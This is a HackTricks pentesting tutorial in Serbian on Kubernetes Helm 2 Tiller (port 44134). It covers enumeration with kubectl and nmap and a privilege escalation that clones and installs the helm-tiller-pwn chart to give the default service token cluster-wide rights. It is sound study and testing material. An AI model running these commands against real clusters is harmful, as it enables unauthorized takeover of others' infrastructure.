tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Osnovne informacije

Helm je menadžer paketa za Kubernetes. Omogućava pakovanje YAML datoteka i distribuciju u javnim i privatnim repozitorijumima. Ovi paketi se nazivaju Helm Charts. Tiller je usluga koja se pokreće po defaultu na portu 44134 i nudi uslugu.

Podrazumevani port: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Enumeracija

Ako možete enumerisati podove i/ili servise različitih imenskih prostora, enumerišite ih i tražite one sa "tiller" u svom imenu:

bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

Primeri:

bash
kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

Možete takođe pokušati da pronađete ovu uslugu pokrenutu proverom porta 44134:

bash
sudo nmap -sS -p 44134 <IP>

Kada ga otkrijete, možete komunicirati sa njim preuzimanjem klijentske helm aplikacije. Možete koristiti alate kao što su homebrew, ili pogledati stranicu zvaničnih izdanja. Za više detalja, ili za druge opcije, pogledajte vodič za instalaciju.

Zatim, možete enumerisati uslugu:

helm --host tiller-deploy.kube-system:44134 version

Eskalacija privilegija

Po defaultu, Helm2 je instaliran u namespace kube-system sa visokim privilegijama, tako da ako pronađete servis i imate pristup njemu, to bi moglo omogućiti da eskalirate privilegije.

Sve što treba da uradite je da instalirate paket poput ovog: https://github.com/Ruil1n/helm-tiller-pwn koji će dati default service token pristup svemu u celom klasteru.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

Na http://rui0.cn/archives/1573 imate objašnjenje napada, ali u suštini, ako pročitate datoteke clusterrole.yaml i clusterrolebinding.yaml unutar helm-tiller-pwn/pwnchart/templates/ možete videti kako se sve privilegije dodeljuju podrazumevanom tokenu.

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks